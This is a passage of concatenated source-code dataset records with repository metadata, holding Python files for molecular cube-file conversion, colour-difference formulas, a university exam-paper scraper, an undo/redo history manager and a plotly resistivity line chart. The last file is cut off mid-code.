729e4733b436e68adfe07bcaa39a47727d0c8dd8

[ "MIT" ]

1

2018-04-06T11:29:44.000Z

#!/usr/bin/env python """ Maps point charges obtained by GPAW and HORTON on the original' ' GROMACS topology initially modified by insertHbyList.py """ ## jlh 2018/04/02 import ast import h5py import ase.io from ase.io.cube import read_cube_data import parmed as pmd from parmed import gromacs from insertHbyList import insertHbyList import argparse def main(): parser = argparse.ArgumentParser(\ description='Converts an all-atom cube file into united-atom' ' representation based on certain replacement rules') #parser.add_argument('-c', '--charge',metavar='INTEGER_CHARGE', # type=int,nargs='?', const=1, default=0) #parser.add_argument('infile', nargs='?') parser.add_argument('infile_pdb', nargs='?', metavar='infile.pdb', default='system.pdb', help="Original .pdb file, before insertion of implicit hydrogen.") parser.add_argument('infile_top', nargs='?', metavar='infile.top', default='system.top', help="Original GROMACS .top file") parser.add_argument('infile_cube', nargs='?', metavar='infile.cube', default='esp.cube', help="ESP descrition (or other scalar field) in all-atom cube file.") parser.add_argument('outfile_cube', nargs='?', metavar='outfile.cube', default='esp_fitted_system.top', help="Output truncated by atoms only" "present in all-atoms description") parser.add_argument('-i','--insertion-rules', default="{'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}", help="A string representation of a python dictionary, describing how " "many implicit hydrogens have been inserted at which atom. Example: " "{'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}") args = parser.parse_args() #implicitHbondingPartners={'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2} print('Using replacement rules "{}"...'.format(args.insertion_rules)) implicitHbondingPartners = ast.literal_eval(args.insertion_rules) aa2ua_cube(args.infile_pdb, args.infile_top, args.infile_cube, args.outfile_cube,implicitHbondingPartners=implicitHbondingPartners) def aa2ua_cube(infile_pdb, infile_top, infile_cube, outfile_cube,implicitHbondingPartners= {'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}): #infile_pdb = args.infile_pdb #infile_top = args.infile_top #infile_cube = args.infile_cube #outfile_cube = args.outfile_cube ase_struct=ase.io.read(infile_pdb) pmd_struct = pmd.load_file(infile_pdb) pmd_top = gromacs.GromacsTopologyFile(infile_top,parametrize=False) # throws some warnings on angle types, does not matter for bonding info pmd_top.strip(':SOL,CL') # strip water and electrolyte from system pmd_top.box = pmd_struct.box # Needed because .prmtop contains box info pmd_top.positions = pmd_struct.positions new_ase_struct, new_pmd_struct, names, residues = insertHbyList( ase_struct,pmd_top,implicitHbondingPartners,1.0) surplus_atoms = len(new_ase_struct) - len(ase_struct) print("{} atoms are going to be truncated from file" "{}...".format(surplus_atoms,infile_cube)) # hdf5 = h5py.File(infile_h5,'r') cube_data, cube_atoms = read_cube_data(infile_cube) ase.io.write(outfile_cube, cube_atoms[0:len(ase_struct)], data=cube_data) # ATTENTION: this script just truncates atoms based on total count difference # in UA and AA representations if __name__ == '__main__': main()

44.95

87

0.682147

ort h5py import ase.io from ase.io.cube import read_cube_data import parmed as pmd from parmed import gromacs from insertHbyList import insertHbyList import argparse def main(): parser = argparse.ArgumentParser(\ description='Converts an all-atom cube file into united-atom' ' representation based on certain replacement rules') parser.add_argument('infile_pdb', nargs='?', metavar='infile.pdb', default='system.pdb', help="Original .pdb file, before insertion of implicit hydrogen.") parser.add_argument('infile_top', nargs='?', metavar='infile.top', default='system.top', help="Original GROMACS .top file") parser.add_argument('infile_cube', nargs='?', metavar='infile.cube', default='esp.cube', help="ESP descrition (or other scalar field) in all-atom cube file.") parser.add_argument('outfile_cube', nargs='?', metavar='outfile.cube', default='esp_fitted_system.top', help="Output truncated by atoms only" "present in all-atoms description") parser.add_argument('-i','--insertion-rules', default="{'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}", help="A string representation of a python dictionary, describing how " "many implicit hydrogens have been inserted at which atom. Example: " "{'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}") args = parser.parse_args() print('Using replacement rules "{}"...'.format(args.insertion_rules)) implicitHbondingPartners = ast.literal_eval(args.insertion_rules) aa2ua_cube(args.infile_pdb, args.infile_top, args.infile_cube, args.outfile_cube,implicitHbondingPartners=implicitHbondingPartners) def aa2ua_cube(infile_pdb, infile_top, infile_cube, outfile_cube,implicitHbondingPartners= {'CD4':1,'CD3':1,'CA2':2,'CA3':2,'CA4':2,'CB2':2,'CB3':2}): ase_struct=ase.io.read(infile_pdb) pmd_struct = pmd.load_file(infile_pdb) pmd_top = gromacs.GromacsTopologyFile(infile_top,parametrize=False) pmd_top.strip(':SOL,CL') pmd_top.box = pmd_struct.box pmd_top.positions = pmd_struct.positions new_ase_struct, new_pmd_struct, names, residues = insertHbyList( ase_struct,pmd_top,implicitHbondingPartners,1.0) surplus_atoms = len(new_ase_struct) - len(ase_struct) print("{} atoms are going to be truncated from file" "{}...".format(surplus_atoms,infile_cube)) cube_data, cube_atoms = read_cube_data(infile_cube) ase.io.write(outfile_cube, cube_atoms[0:len(ase_struct)], data=cube_data) if __name__ == '__main__': main()

true

f704fa8cf0c91be4a9dab86662c520f3207e5d08

5,352

py

Python

venv/lib/python3.7/site-packages/colormath/color_diff_matrix.py

rchen2123/ryu

99400f8c421c1a84b4c7e80dd26224b36ee6d779

[ "Apache-2.0" ]

null

venv/lib/python3.7/site-packages/colormath/color_diff_matrix.py

rchen2123/ryu

99400f8c421c1a84b4c7e80dd26224b36ee6d779

[ "Apache-2.0" ]

null

venv/lib/python3.7/site-packages/colormath/color_diff_matrix.py

rchen2123/ryu

99400f8c421c1a84b4c7e80dd26224b36ee6d779

[ "Apache-2.0" ]

null

""" This module contains the formulas for comparing Lab values with matrices and vectors. The benefit of using NumPy's matrix capabilities is speed. These calls can be used to efficiently compare large volumes of Lab colors. """ import numpy def delta_e_cie1976(lab_color_vector, lab_color_matrix): """ Calculates the Delta E (CIE1976) between `lab_color_vector` and all colors in `lab_color_matrix`. """ return numpy.sqrt( numpy.sum(numpy.power(lab_color_vector - lab_color_matrix, 2), axis=1)) # noinspection PyPep8Naming def delta_e_cie1994(lab_color_vector, lab_color_matrix, K_L=1, K_C=1, K_H=1, K_1=0.045, K_2=0.015): """ Calculates the Delta E (CIE1994) of two colors. K_l: 0.045 graphic arts 0.048 textiles K_2: 0.015 graphic arts 0.014 textiles K_L: 1 default 2 textiles """ C_1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C_2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) delta_lab = lab_color_vector - lab_color_matrix delta_L = delta_lab[:, 0].copy() delta_C = C_1 - C_2 delta_lab[:, 0] = delta_C delta_H_sq = numpy.sum(numpy.power(delta_lab, 2) * numpy.array([-1, 1, 1]), axis=1) # noinspection PyArgumentList delta_H = numpy.sqrt(delta_H_sq.clip(min=0)) S_L = 1 S_C = 1 + K_1 * C_1 S_H = 1 + K_2 * C_1 LCH = numpy.vstack([delta_L, delta_C, delta_H]) params = numpy.array([[K_L * S_L], [K_C * S_C], [K_H * S_H]]) return numpy.sqrt(numpy.sum(numpy.power(LCH / params, 2), axis=0)) # noinspection PyPep8Naming def delta_e_cmc(lab_color_vector, lab_color_matrix, pl=2, pc=1): """ Calculates the Delta E (CIE1994) of two colors. CMC values Acceptability: pl=2, pc=1 Perceptability: pl=1, pc=1 """ L, a, b = lab_color_vector C_1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C_2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) delta_lab = lab_color_vector - lab_color_matrix delta_L = delta_lab[:, 0].copy() delta_C = C_1 - C_2 delta_lab[:, 0] = delta_C H_1 = numpy.degrees(numpy.arctan2(b, a)) if H_1 < 0: H_1 += 360 F = numpy.sqrt(numpy.power(C_1, 4) / (numpy.power(C_1, 4) + 1900.0)) # noinspection PyChainedComparisons if 164 <= H_1 and H_1 <= 345: T = 0.56 + abs(0.2 * numpy.cos(numpy.radians(H_1 + 168))) else: T = 0.36 + abs(0.4 * numpy.cos(numpy.radians(H_1 + 35))) if L < 16: S_L = 0.511 else: S_L = (0.040975 * L) / (1 + 0.01765 * L) S_C = ((0.0638 * C_1) / (1 + 0.0131 * C_1)) + 0.638 S_H = S_C * (F * T + 1 - F) delta_C = C_1 - C_2 delta_H_sq = numpy.sum(numpy.power(delta_lab, 2) * numpy.array([-1, 1, 1]), axis=1) # noinspection PyArgumentList delta_H = numpy.sqrt(delta_H_sq.clip(min=0)) LCH = numpy.vstack([delta_L, delta_C, delta_H]) params = numpy.array([[pl * S_L], [pc * S_C], [S_H]]) return numpy.sqrt(numpy.sum(numpy.power(LCH / params, 2), axis=0)) # noinspection PyPep8Naming def delta_e_cie2000(lab_color_vector, lab_color_matrix, Kl=1, Kc=1, Kh=1): """ Calculates the Delta E (CIE2000) of two colors. """ L, a, b = lab_color_vector avg_Lp = (L + lab_color_matrix[:, 0]) / 2.0 C1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) avg_C1_C2 = (C1 + C2) / 2.0 G = 0.5 * (1 - numpy.sqrt(numpy.power(avg_C1_C2, 7.0) / (numpy.power(avg_C1_C2, 7.0) + numpy.power(25.0, 7.0)))) a1p = (1.0 + G) * a a2p = (1.0 + G) * lab_color_matrix[:, 1] C1p = numpy.sqrt(numpy.power(a1p, 2) + numpy.power(b, 2)) C2p = numpy.sqrt(numpy.power(a2p, 2) + numpy.power(lab_color_matrix[:, 2], 2)) avg_C1p_C2p = (C1p + C2p) / 2.0 h1p = numpy.degrees(numpy.arctan2(b, a1p)) h1p += (h1p < 0) * 360 h2p = numpy.degrees(numpy.arctan2(lab_color_matrix[:, 2], a2p)) h2p += (h2p < 0) * 360 avg_Hp = (((numpy.fabs(h1p - h2p) > 180) * 360) + h1p + h2p) / 2.0 T = 1 - 0.17 * numpy.cos(numpy.radians(avg_Hp - 30)) + \ 0.24 * numpy.cos(numpy.radians(2 * avg_Hp)) + \ 0.32 * numpy.cos(numpy.radians(3 * avg_Hp + 6)) - \ 0.2 * numpy.cos(numpy.radians(4 * avg_Hp - 63)) diff_h2p_h1p = h2p - h1p delta_hp = diff_h2p_h1p + (numpy.fabs(diff_h2p_h1p) > 180) * 360 delta_hp -= (h2p > h1p) * 720 delta_Lp = lab_color_matrix[:, 0] - L delta_Cp = C2p - C1p delta_Hp = 2 * numpy.sqrt(C2p * C1p) * numpy.sin(numpy.radians(delta_hp) / 2.0) S_L = 1 + ((0.015 * numpy.power(avg_Lp - 50, 2)) / numpy.sqrt(20 + numpy.power(avg_Lp - 50, 2.0))) S_C = 1 + 0.045 * avg_C1p_C2p S_H = 1 + 0.015 * avg_C1p_C2p * T delta_ro = 30 * numpy.exp(-(numpy.power(((avg_Hp - 275) / 25), 2.0))) R_C = numpy.sqrt((numpy.power(avg_C1p_C2p, 7.0)) / (numpy.power(avg_C1p_C2p, 7.0) + numpy.power(25.0, 7.0))) R_T = -2 * R_C * numpy.sin(2 * numpy.radians(delta_ro)) return numpy.sqrt( numpy.power(delta_Lp / (S_L * Kl), 2) + numpy.power(delta_Cp / (S_C * Kc), 2) + numpy.power(delta_Hp / (S_H * Kh), 2) + R_T * (delta_Cp / (S_C * Kc)) * (delta_Hp / (S_H * Kh)))

31.668639

116

0.604634

import numpy def delta_e_cie1976(lab_color_vector, lab_color_matrix): return numpy.sqrt( numpy.sum(numpy.power(lab_color_vector - lab_color_matrix, 2), axis=1)) def delta_e_cie1994(lab_color_vector, lab_color_matrix, K_L=1, K_C=1, K_H=1, K_1=0.045, K_2=0.015): C_1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C_2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) delta_lab = lab_color_vector - lab_color_matrix delta_L = delta_lab[:, 0].copy() delta_C = C_1 - C_2 delta_lab[:, 0] = delta_C delta_H_sq = numpy.sum(numpy.power(delta_lab, 2) * numpy.array([-1, 1, 1]), axis=1) delta_H = numpy.sqrt(delta_H_sq.clip(min=0)) S_L = 1 S_C = 1 + K_1 * C_1 S_H = 1 + K_2 * C_1 LCH = numpy.vstack([delta_L, delta_C, delta_H]) params = numpy.array([[K_L * S_L], [K_C * S_C], [K_H * S_H]]) return numpy.sqrt(numpy.sum(numpy.power(LCH / params, 2), axis=0)) def delta_e_cmc(lab_color_vector, lab_color_matrix, pl=2, pc=1): L, a, b = lab_color_vector C_1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C_2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) delta_lab = lab_color_vector - lab_color_matrix delta_L = delta_lab[:, 0].copy() delta_C = C_1 - C_2 delta_lab[:, 0] = delta_C H_1 = numpy.degrees(numpy.arctan2(b, a)) if H_1 < 0: H_1 += 360 F = numpy.sqrt(numpy.power(C_1, 4) / (numpy.power(C_1, 4) + 1900.0)) if 164 <= H_1 and H_1 <= 345: T = 0.56 + abs(0.2 * numpy.cos(numpy.radians(H_1 + 168))) else: T = 0.36 + abs(0.4 * numpy.cos(numpy.radians(H_1 + 35))) if L < 16: S_L = 0.511 else: S_L = (0.040975 * L) / (1 + 0.01765 * L) S_C = ((0.0638 * C_1) / (1 + 0.0131 * C_1)) + 0.638 S_H = S_C * (F * T + 1 - F) delta_C = C_1 - C_2 delta_H_sq = numpy.sum(numpy.power(delta_lab, 2) * numpy.array([-1, 1, 1]), axis=1) delta_H = numpy.sqrt(delta_H_sq.clip(min=0)) LCH = numpy.vstack([delta_L, delta_C, delta_H]) params = numpy.array([[pl * S_L], [pc * S_C], [S_H]]) return numpy.sqrt(numpy.sum(numpy.power(LCH / params, 2), axis=0)) def delta_e_cie2000(lab_color_vector, lab_color_matrix, Kl=1, Kc=1, Kh=1): L, a, b = lab_color_vector avg_Lp = (L + lab_color_matrix[:, 0]) / 2.0 C1 = numpy.sqrt(numpy.sum(numpy.power(lab_color_vector[1:], 2))) C2 = numpy.sqrt(numpy.sum(numpy.power(lab_color_matrix[:, 1:], 2), axis=1)) avg_C1_C2 = (C1 + C2) / 2.0 G = 0.5 * (1 - numpy.sqrt(numpy.power(avg_C1_C2, 7.0) / (numpy.power(avg_C1_C2, 7.0) + numpy.power(25.0, 7.0)))) a1p = (1.0 + G) * a a2p = (1.0 + G) * lab_color_matrix[:, 1] C1p = numpy.sqrt(numpy.power(a1p, 2) + numpy.power(b, 2)) C2p = numpy.sqrt(numpy.power(a2p, 2) + numpy.power(lab_color_matrix[:, 2], 2)) avg_C1p_C2p = (C1p + C2p) / 2.0 h1p = numpy.degrees(numpy.arctan2(b, a1p)) h1p += (h1p < 0) * 360 h2p = numpy.degrees(numpy.arctan2(lab_color_matrix[:, 2], a2p)) h2p += (h2p < 0) * 360 avg_Hp = (((numpy.fabs(h1p - h2p) > 180) * 360) + h1p + h2p) / 2.0 T = 1 - 0.17 * numpy.cos(numpy.radians(avg_Hp - 30)) + \ 0.24 * numpy.cos(numpy.radians(2 * avg_Hp)) + \ 0.32 * numpy.cos(numpy.radians(3 * avg_Hp + 6)) - \ 0.2 * numpy.cos(numpy.radians(4 * avg_Hp - 63)) diff_h2p_h1p = h2p - h1p delta_hp = diff_h2p_h1p + (numpy.fabs(diff_h2p_h1p) > 180) * 360 delta_hp -= (h2p > h1p) * 720 delta_Lp = lab_color_matrix[:, 0] - L delta_Cp = C2p - C1p delta_Hp = 2 * numpy.sqrt(C2p * C1p) * numpy.sin(numpy.radians(delta_hp) / 2.0) S_L = 1 + ((0.015 * numpy.power(avg_Lp - 50, 2)) / numpy.sqrt(20 + numpy.power(avg_Lp - 50, 2.0))) S_C = 1 + 0.045 * avg_C1p_C2p S_H = 1 + 0.015 * avg_C1p_C2p * T delta_ro = 30 * numpy.exp(-(numpy.power(((avg_Hp - 275) / 25), 2.0))) R_C = numpy.sqrt((numpy.power(avg_C1p_C2p, 7.0)) / (numpy.power(avg_C1p_C2p, 7.0) + numpy.power(25.0, 7.0))) R_T = -2 * R_C * numpy.sin(2 * numpy.radians(delta_ro)) return numpy.sqrt( numpy.power(delta_Lp / (S_L * Kl), 2) + numpy.power(delta_Cp / (S_C * Kc), 2) + numpy.power(delta_Hp / (S_H * Kh), 2) + R_T * (delta_Cp / (S_C * Kc)) * (delta_Hp / (S_H * Kh)))

true

f704fab0af522b8019096eec4487783464bda665

3,827

py

Python

IntranetExam.py

capturemathan/Amrita_Intranet_ExamPapers

8d11b5c9ce8d1641e05d219acfa91b2f5b2b6584

[ "MIT" ]

null

IntranetExam.py

capturemathan/Amrita_Intranet_ExamPapers

8d11b5c9ce8d1641e05d219acfa91b2f5b2b6584

[ "MIT" ]

null

IntranetExam.py

capturemathan/Amrita_Intranet_ExamPapers

8d11b5c9ce8d1641e05d219acfa91b2f5b2b6584

[ "MIT" ]

null

import os import webbrowser import time import random import requests from bs4 import BeautifulSoup from prettytable import PrettyTable from time import sleep cont = 1 print("Welcome to Qp Bank !") sleep(1) print("Crafted with love by Mathan.S") sleep(1) print("Ensure your connectivity to Amrita Wifi for smooth experience :)") # Captcha Disabled """a=["M234x","Ad34T","Fr45C","J234r","PKa67"] z=random.randint(0,4) print(a[z]) captcha=input("Enter the captcha") while(captcha!=a[z]): print("Enter the correct captcha..") a=["M234x","Ad34T","Fr45C","J234r","PKa67"] z=random.randint(0,4) print(a[z]) captcha=input("Enter the captcha")""" while(cont==1): url="http://dspace.amritanet.edu:8080/xmlui/handle/123456789/150" page=requests.get(url) soup=BeautifulSoup(page.content,'html.parser') div=soup.div main_div=soup.find(id="aspect_artifactbrowser_CommunityViewer_div_community-view") t=PrettyTable(["S.No","Attribute"]) main_list_item=main_div.ul items=main_list_item.findAll("li") for i in range(len(items)): t.add_row([i+1,items[i].a.text.strip()]) print(t) ch=int(input("Enter your Semester ")) while((ch>len(items)) or (ch<0)): ch=int(input("Enter your Semester ")) url="http://dspace.amritanet.edu:8080" url+=items[ch-1].a["href"] print("Give me just a minute...") sec_page=requests.get(url) sec_soup=BeautifulSoup(sec_page.content,'html.parser') u=sec_soup.findAll("ul") if ch<=6: sec_li=u[3].findAll("li") else: sec_li=u[2].findAll("li") p=PrettyTable(["S.No","Title"]) for j in range(len(sec_li)): p.add_row([j+1,sec_li[j].a.text.strip()]) print(p) ch3=int(input("Enter your choice ")) while((ch3>len(sec_li)) or (ch3<0)): ch3=int(input("Enter your choice ")) url="http://dspace.amritanet.edu:8080/" url+=sec_li[ch3-1].a["href"] third_page=requests.get(url) third_soup=BeautifulSoup(third_page.content,'html.parser') u3_div=third_soup.findAll("div",class_="ds-static-div secondary recent-submission") third_div=u3_div[0].a.text.strip() third_li=u3_div[0].findAll("li") m=PrettyTable(["S.No","Title"]) m.add_row([1,third_div]) print(m) ch4=int(input("Enter your choice ")) while((ch4>len(third_li)) or (ch4<0)): ch4=int(input("Enter your choice ")) url="http://dspace.amritanet.edu:8080/" url+=third_li[ch4-1].a["href"] fourth_page=requests.get(url) fourth_soup=BeautifulSoup(fourth_page.content,'html.parser') u4_div=fourth_soup.findAll("div",class_="file-metadata") v=PrettyTable(["S.No","Subjects"]) u4_temp=[] mod_u4_temp=[] for i in range(len(u4_div)): u4_temp.append((u4_div[i].findAll("span")[1].text)) for j in range(len(u4_temp)): mod_u4_temp=u4_temp[j].split(",") v.add_row([j+1,mod_u4_temp[0]]) print(v) last_ch=int(input("Enter your choice ")) last_div=fourth_soup.findAll("div",class_="file-link") while((last_ch>len(last_div)) or (last_ch<0)): last_ch=int(input("Enter your choice ")) url_last="http://dspace.amritanet.edu:8080" url_last+=last_div[last_ch-1].a["href"] print("All the very best for your exams :)") sleep(1) download=int(input("Enter 1 to download or 0 to open in browser ")) while(download!=1 and download!=0): download=int(input("Enter 1 to download or 0 to open in browser ")) print("Give me just a minute :)") if(download==1): response = requests.get(url_last) spliturl=url_last.split("/") namewithext=spliturl[-1] name_reduced=namewithext.split("?") save=name_reduced[0] #save+=".pdf" with open(save,'wb') as f: f.write(response.content) print("The Qp is waiting for you at "+os.getcwd()) else: print("The Qp is waiting for you :)") webbrowser.open_new(url_last) cont=int(input("Enter 1 to view another Qp or 0 to exit "))

29.898438

85

0.679906

import os import webbrowser import time import random import requests from bs4 import BeautifulSoup from prettytable import PrettyTable from time import sleep cont = 1 print("Welcome to Qp Bank !") sleep(1) print("Crafted with love by Mathan.S") sleep(1) print("Ensure your connectivity to Amrita Wifi for smooth experience :)") while(cont==1): url="http://dspace.amritanet.edu:8080/xmlui/handle/123456789/150" page=requests.get(url) soup=BeautifulSoup(page.content,'html.parser') div=soup.div main_div=soup.find(id="aspect_artifactbrowser_CommunityViewer_div_community-view") t=PrettyTable(["S.No","Attribute"]) main_list_item=main_div.ul items=main_list_item.findAll("li") for i in range(len(items)): t.add_row([i+1,items[i].a.text.strip()]) print(t) ch=int(input("Enter your Semester ")) while((ch>len(items)) or (ch<0)): ch=int(input("Enter your Semester ")) url="http://dspace.amritanet.edu:8080" url+=items[ch-1].a["href"] print("Give me just a minute...") sec_page=requests.get(url) sec_soup=BeautifulSoup(sec_page.content,'html.parser') u=sec_soup.findAll("ul") if ch<=6: sec_li=u[3].findAll("li") else: sec_li=u[2].findAll("li") p=PrettyTable(["S.No","Title"]) for j in range(len(sec_li)): p.add_row([j+1,sec_li[j].a.text.strip()]) print(p) ch3=int(input("Enter your choice ")) while((ch3>len(sec_li)) or (ch3<0)): ch3=int(input("Enter your choice ")) url="http://dspace.amritanet.edu:8080/" url+=sec_li[ch3-1].a["href"] third_page=requests.get(url) third_soup=BeautifulSoup(third_page.content,'html.parser') u3_div=third_soup.findAll("div",class_="ds-static-div secondary recent-submission") third_div=u3_div[0].a.text.strip() third_li=u3_div[0].findAll("li") m=PrettyTable(["S.No","Title"]) m.add_row([1,third_div]) print(m) ch4=int(input("Enter your choice ")) while((ch4>len(third_li)) or (ch4<0)): ch4=int(input("Enter your choice ")) url="http://dspace.amritanet.edu:8080/" url+=third_li[ch4-1].a["href"] fourth_page=requests.get(url) fourth_soup=BeautifulSoup(fourth_page.content,'html.parser') u4_div=fourth_soup.findAll("div",class_="file-metadata") v=PrettyTable(["S.No","Subjects"]) u4_temp=[] mod_u4_temp=[] for i in range(len(u4_div)): u4_temp.append((u4_div[i].findAll("span")[1].text)) for j in range(len(u4_temp)): mod_u4_temp=u4_temp[j].split(",") v.add_row([j+1,mod_u4_temp[0]]) print(v) last_ch=int(input("Enter your choice ")) last_div=fourth_soup.findAll("div",class_="file-link") while((last_ch>len(last_div)) or (last_ch<0)): last_ch=int(input("Enter your choice ")) url_last="http://dspace.amritanet.edu:8080" url_last+=last_div[last_ch-1].a["href"] print("All the very best for your exams :)") sleep(1) download=int(input("Enter 1 to download or 0 to open in browser ")) while(download!=1 and download!=0): download=int(input("Enter 1 to download or 0 to open in browser ")) print("Give me just a minute :)") if(download==1): response = requests.get(url_last) spliturl=url_last.split("/") namewithext=spliturl[-1] name_reduced=namewithext.split("?") save=name_reduced[0] with open(save,'wb') as f: f.write(response.content) print("The Qp is waiting for you at "+os.getcwd()) else: print("The Qp is waiting for you :)") webbrowser.open_new(url_last) cont=int(input("Enter 1 to view another Qp or 0 to exit "))

true

f704fb25ca1ed4fdc84a58c5353bd993763a5b53

820

py

Python

amulet/api/history.py

Podshot/Amulet-Core

678a722daa5e4487d193a7e947ccceacac325fd2

[ "MIT" ]

null

amulet/api/history.py

Podshot/Amulet-Core

678a722daa5e4487d193a7e947ccceacac325fd2

[ "MIT" ]

null

amulet/api/history.py

Podshot/Amulet-Core

678a722daa5e4487d193a7e947ccceacac325fd2

[ "MIT" ]

null

from __future__ import annotations from .data_structures import Stack from .operation import Operation class HistoryManager: def __init__(self): self.undo_stack: Stack[Operation] = Stack() self.redo_stack: Stack[Operation] = Stack() def add_operation(self, operation_instance: Operation): self.undo_stack.append(operation_instance) def undo(self) -> Operation: operation_to_undo = self.undo_stack.pop() self.redo_stack.append(operation_to_undo) return operation_to_undo def redo(self) -> Operation: operation_to_redo = self.redo_stack.pop() self.undo_stack.append(operation_to_redo) return operation_to_redo def __contains__(self, item): if isinstance(item, Operation): return item in self.undo_stack

29.285714

59

0.702439

from __future__ import annotations from .data_structures import Stack from .operation import Operation class HistoryManager: def __init__(self): self.undo_stack: Stack[Operation] = Stack() self.redo_stack: Stack[Operation] = Stack() def add_operation(self, operation_instance: Operation): self.undo_stack.append(operation_instance) def undo(self) -> Operation: operation_to_undo = self.undo_stack.pop() self.redo_stack.append(operation_to_undo) return operation_to_undo def redo(self) -> Operation: operation_to_redo = self.redo_stack.pop() self.undo_stack.append(operation_to_redo) return operation_to_redo def __contains__(self, item): if isinstance(item, Operation): return item in self.undo_stack

true

f704fbc9f2528b864b8b22eb0ac9981a1560e438

5,522

py

Python

mainapp/webapp/figures/linechart.py

thomashusebo/inf219-visualize-2d-sensor-data

87572c46579887fb212fdfb6f413e271edc77bfe

[ "MIT" ]

null

mainapp/webapp/figures/linechart.py

thomashusebo/inf219-visualize-2d-sensor-data

87572c46579887fb212fdfb6f413e271edc77bfe

[ "MIT" ]

43

2020-02-14T16:15:15.000Z

2020-07-14T12:05:09.000Z

mainapp/webapp/figures/linechart.py

thomashusebo/inf219-visualize-2d-sensor-data

87572c46579887fb212fdfb6f413e271edc77bfe

[ "MIT" ]

null

import plotly.graph_objects as go from mainapp.app_settings import cell_length_meter def getLineChart( data, timestamp, coordinates, colorScale, timeline, color_range, dragmode=False, quick_select_range=True, calibration_time=None, show_legend=False): if len(data) < 1: return { 'data': [], 'layout': go.Layout(title=go.layout.Title(text='No data found')) } x = data.iloc[:, 0].values linechart_fig = go.Figure() means = data.iloc[:, 1:].transpose().mean().transpose() var = data.iloc[:, 1:].transpose().std().transpose() # Add continuous error bars to the plot '''error_colors = ['#d9d9d9', '#bdbdbd', '#969696'] for i in reversed(range(1, 4)): fill_color = error_colors[i-1] if data.shape[1] > 2: linechart_fig.add_trace(go.Scatter( x=x, y=means - i * var, mode='lines', line=dict(width=1, color='black'), showlegend=False )) linechart_fig.add_trace(go.Scatter( name='{} sigma'.format(i), x=x, y=means + i * var, mode='lines', marker=dict(color="#444"), line=dict(width=1, color='black'), fillcolor=fill_color, fill='tonexty'))''' # Add individual traces to the plot ys = data.shape[1] for y in range(1, ys): coord = coordinates[y-1] y = data.iloc[:, y].values linechart_fig.add_trace(go.Scatter( name='[{:2d},{:2d}]'.format(coord['x'], coord['y']), x=x, y=y, mode='lines+markers', line=dict( width=1, color='#292929'), marker=dict( size=2, color='#292929'), showlegend=show_legend )) # Add central values to the plot '''if data.shape[1] > 1: if data.shape[1] == 2: trace_name = '[{:d},{:d}]'.format(coordinates[0]['x'], coordinates[0]['y']) else: trace_name = 'Average' linechart_fig.add_trace(go.Scatter( name=trace_name, x=x, y=means, mode='lines+markers', line=dict( color='#292929', width=1, ), marker=dict( color='#292929', size=3, ), showlegend=True, ))''' # Add vertical line representing selected timestamp linechart_fig.add_shape( # Line Vertical dict( name='selected timestamp', type="line", yref='paper', x0=timestamp, y0=0, x1=timestamp, y1=1, line=dict( color="black", width=5 ), )) # Add vertical line representing selected calibration if calibration_time is not None: linechart_fig.add_shape( # Line Vertical dict( name='calibration time', type="line", yref='paper', x0=calibration_time, y0=0, x1=calibration_time, y1=1, line=dict( color="green", width=5 ), )) #Add colorbar to plot if color_range['min'] is not None and color_range['max'] is not None: min = color_range['min'] max = color_range['max'] width_of_line = (color_range['max'] - color_range['min']) / len(colorScale) for i in range(len(colorScale)): linechart_fig.add_shape( dict( type="rect", xref="paper", yref="y", x0=0, y0= min + i*width_of_line, #if i > 0 else 0 if min <= max else 12000, x1=1, y1=min + (i+1)*width_of_line, #if i < len(colorScale)-1 else 12000 if min <= max else 0, fillcolor=colorScale[i][1], opacity=0.6, layer="below", line_width=0, ) ) range_selector = None if quick_select_range: range_selector = dict( buttons=list([ dict(count=1, label="1m", step="minute", stepmode="backward"), dict(count=1, label="1h", step="hour", stepmode="backward"), dict(count=1, label="1d", step="day", stepmode="backward"), dict(count=7, label="1w", step="day", stepmode="backward") ]) ) linechart_fig.update_layout( xaxis=dict( range=[timeline['start'], timeline['end']], type="date", linecolor='black', gridcolor='LightGrey', rangeselector=range_selector ), yaxis=dict( title='Resistivity (Ohm)', rangemode='tozero', linecolor='black', gridcolor='LightGrey', fixedrange=True ), margin=dict( l=15, r=0, t=30, b=5, pad=0 ), plot_bgcolor='white', dragmode=dragmode, height=250, ) return linechart_fig

29.216931

108

0.458892

import plotly.graph_objects as go from mainapp.app_settings import cell_length_meter def getLineChart( data, timestamp, coordinates, colorScale, timeline, color_range, dragmode=False, quick_select_range=True, calibration_time=None, show_legend=False): if len(data) < 1: return { 'data': [], 'layout': go.Layout(title=go.layout.Title(text='No data found')) } x = data.iloc[:, 0].values linechart_fig = go.Figure() means = data.iloc[:, 1:].transpose().mean().transpose() var = data.iloc[:, 1:].transpose().std().transpose() ys = data.shape[1] for y in range(1, ys): coord = coordinates[y-1] y = data.iloc[:, y].values linechart_fig.add_trace(go.Scatter( name='[{:2d},{:2d}]'.format(coord['x'], coord['y']), x=x, y=y, mode='lines+markers', line=dict( width=1, color='#292929'), marker=dict( size=2, color='#292929'), showlegend=show_legend )) linechart_fig.add_shape( dict( name='selected timestamp', type="line", yref='paper', x0=timestamp, y0=0, x1=timestamp, y1=1, line=dict( color="black", width=5 ), )) if calibration_time is not None: linechart_fig.add_shape( dict( name='calibration time', type="line", yref='paper', 